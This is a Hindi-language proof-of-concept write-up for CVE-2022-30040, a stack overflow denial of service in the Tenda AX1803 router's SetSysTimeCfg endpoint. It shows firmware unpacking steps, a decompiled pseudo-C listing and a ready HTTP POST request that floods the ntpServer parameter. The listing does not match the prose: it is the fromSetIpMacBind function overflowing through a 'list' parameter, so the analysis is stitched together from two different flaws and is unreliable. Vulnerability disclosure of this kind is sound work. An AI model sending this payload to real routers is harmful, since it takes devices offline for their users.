
CVE-2022-30040 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, टेंडा AX1803 राउटर फर्मवेयर में एक स्टैक बफर ओवरफ्लो जो SetSysTimeCfg एंडपॉइंट के माध्यम से सेवा अस्वीकार (denial-of-service) का कारण बनता है।
भेद्यता ubif फ़ाइल सिस्टम में /bin/tdhttpd के rootfs_ में /goform/setsystimecfg में स्थित है; हमलावर http://ip/goform/SetSysTimeCfg तक पहुँच कर और ntpserve पैरामीटर सेट करके स्टैक बफर ओवरफ़्लो का कारण बन सकते हैं, जिससे राउटर की सेवा-अस्वीकार का प्रभाव प्राप्त होता है।
पहले फर्मवेयर को अनपैक करें:
निर्माता की आधिकारिक वेबसाइट से फर्मवेयर डाउनलोड करें( https://www.tenda.com.cn/download/detail-3225.html )चूंकि फर्मवेयर एन्क्रिप्टेड नहीं है, Tenda AX1803 v1.0.0.1_2890 फर्मवेयर को सीधे binwalk टूल (कमांड: binwalk - me *. Bin) के माध्यम से अनपैक करें, rootfs_UBIFS फ़ाइल सिस्टम प्राप्त करने के लिए।
भेद्यता विश्लेषण:
(नोट: निम्नलिखित कोड स्क्रीनशॉट ida7.6_pro_32-बिट के माध्यम से rootfs_ubifs में /bin/tdhttpd फ़ाइल को डिसअसेंबल और डीकंपाइल करके प्राप्त स्यूडो-C भाषा कोड है)
जब /goform/setsystimecfg तक पहुँचा जाता है, तो उपयोगकर्ता fromsetsystime फ़ंक्शन में प्रवेश करेगा। निम्नलिखित fromsetsystime फ़ंक्शन के कुछ स्यूडो कोड स्क्रीनशॉट और टिप्पणियाँ हैं:



जब उपयोगकर्ता http://ip/goform/SetSysTimeCfg तक पहुँचते हैं, तो rootfs_ubifs में /bin/tdhttpd fromsetsystime को कॉल करेगा जो इस पहुँच को संभालेगा, और पोस्ट विधि द्वारा प्रस्तुत ntpserver पैरामीटर को V4 पॉइंटर को असाइन करेगा, और फिर एक अपरिहार्य if शाखा में प्रवेश करेगा (विश्लेषण स्यूडो कोड स्क्रीनशॉट में टिप्पणियों में लिखा गया है)। इस if शाखा में एक भेद्यता कोड है: strcpy (&V32[16], B4). इसलिए, V4 द्वारा प्रस्तुत ntpserver पैरामीटर सेट करके, अर्थात पोस्ट करके, आप फ़ंक्शन के रिटर्न एड्रेस को अमान्य पते पर ओवरराइड कर सकते हैं, ताकि V32 की सीमा को ओवरफ़्लो कर सकें, जिससे राउटर रीस्टार्ट हो और सेवा-अस्वीकार हमले का प्रभाव उत्पन्न हो।
fromsetsystime फ़ंक्शन का स्यूडो कोड संलग्न है:
int __fastcall fromSetIpMacBind(int a1)
{
const char *Parameter; // r5
unsigned int v2; // r0
int i; // r4
char *v4; // r0
char *v5; // r11
int v6; // r3
int v7; // r5
int v8; // r2
int v10; // [sp+8h] [bp-440h]
char *nptr; // [sp+10h] [bp-438h]
int v13; // [sp+14h] [bp-434h]
char v14[32]; // [sp+28h] [bp-420h] BYREF
char v15[32]; // [sp+48h] [bp-400h] BYREF
char v16[64]; // [sp+68h] [bp-3E0h] BYREF
char v17[64]; // [sp+A8h] [bp-3A0h] BYREF
char dest[64]; // [sp+E8h] [bp-360h] BYREF
char v19[128]; // [sp+128h] [bp-320h] BYREF
char v20[128]; // [sp+1A8h] [bp-2A0h] BYREF 可以通过设置list参数通过strcpy函数溢出的
栈上变量
char s[256]; // [sp+228h] [bp-220h] BYREF
char v22[288]; // [sp+328h] [bp-120h] BYREF
memset(s, 0, sizeof(s));
memset(v16, 0, sizeof(v16));
memset(v19, 0, sizeof(v19));
nptr = GetParameter(a1, "bindnum", "0");
Parameter = GetParameter(a1, "list", &byte_1E9CC8);// 将访问
ip/goform/SetIpMacBind时post提交的list参数
// 赋值给Parameter变量
GetValue("dhcps.Staticnum", v19);
v13 = atoi(v19);
v2 = atoi(nptr);
v10 = v2;
if ( v2 > 0x20 )
{
printf("staic ip number over %d\n", 32);
goto LABEL_30;
}
for ( i = 1; ; ++i )
{
v6 = Parameter;
if ( Parameter )
v6 = 1;
if ( i > v10 )
v6 = 0;
if ( !v6 )
break;
memset(v20, 0, sizeof(v20));
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
memset(v14, 0, sizeof(v14));
memset(v15, 0, sizeof(v15));
memset(dest, 0, sizeof(dest));
v4 = strchr(Parameter, '\n'); // 如果parameter也就是post提交的
list参数中存在换行符,则v4不为零,否则v4为零。
v5 = v4;
if ( v4 ) // v4不为零,也就是提交的list参数中存
在换行符
{
*v4 = 0;
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
Parameter = v5 + 1;
}
else // v4为零,也就是提交的list参数中无换
行符
{
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
}
if ( v20[0] == 13 )
{
if ( _isoc99_sscanf(&v20[1], "%17[0-9a-fA-F:]\r%s", v14) != 2 )
goto LABEL_20;
strcpy(dest, &byte_1E9CC8);
}
else if ( _isoc99_sscanf(v20, "%[^\r]\r%[0-9a-fA-F:]\r%s", dest) != 3 )
{
LABEL_20:
v2 = puts("get ip and mac error!");
v6 = 1;
break;
}
printf("%s %d# dev_name=%s,mac_addr=%s,ip_addr=%s\n", "set_mac_bind_list",
543, dest, v14, v15);
sprintf(v17, "dhcps.Staticip%d", i);
sprintf(v22, "%s;%s;0", v15, v14);
v2 = SetValue(v17, v22);
if ( dest[0] )
{
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
v2 = sub_62C98(dest, v14);
}
}
v7 = v10 + 1;
if ( i == v10 + 1 )
{
if ( !v6 )
{
puts("set static num sucess!");
v2 = SetValue("dhcps.Staticnum", nptr);
while ( v7 <= v13 )
{
memset(v19, 0, sizeof(v19));
sprintf(v16, "dhcps.Staticip%d", v7);
GetValue(v16, v19);
sprintf(v16, "dhcps.Staticip%d", v7++);
v2 = SetValue(v16, &byte_1E9CC8);
}
goto LABEL_27;
}
LABEL_30:
v8 = 1;
goto LABEL_31;
}
if ( v6 )
goto LABEL_30;
LABEL_27:
if ( sub_8CB38(v2) )
{
memset(v22, 0, 0x100u);
strcpy(v22, "op=200");
send_msg_to_netctrl(19, v22);
}
v8 = 0;
LABEL_31:
sprintf(s, "{\"errCode\":%d}", v8);
return sub_55970(a1, s);
}
POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: password=bb507bf3973a97a9bf1267699f712550bkcmji
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
ntpServer=a*num
(नोट: num को 0x134h बाइट्स से अधिक होना चाहिए, अर्थात यदि भेजे जाने वाले वर्णों की संख्या 0x134h से अधिक है, तो DoS हमला हो सकता है)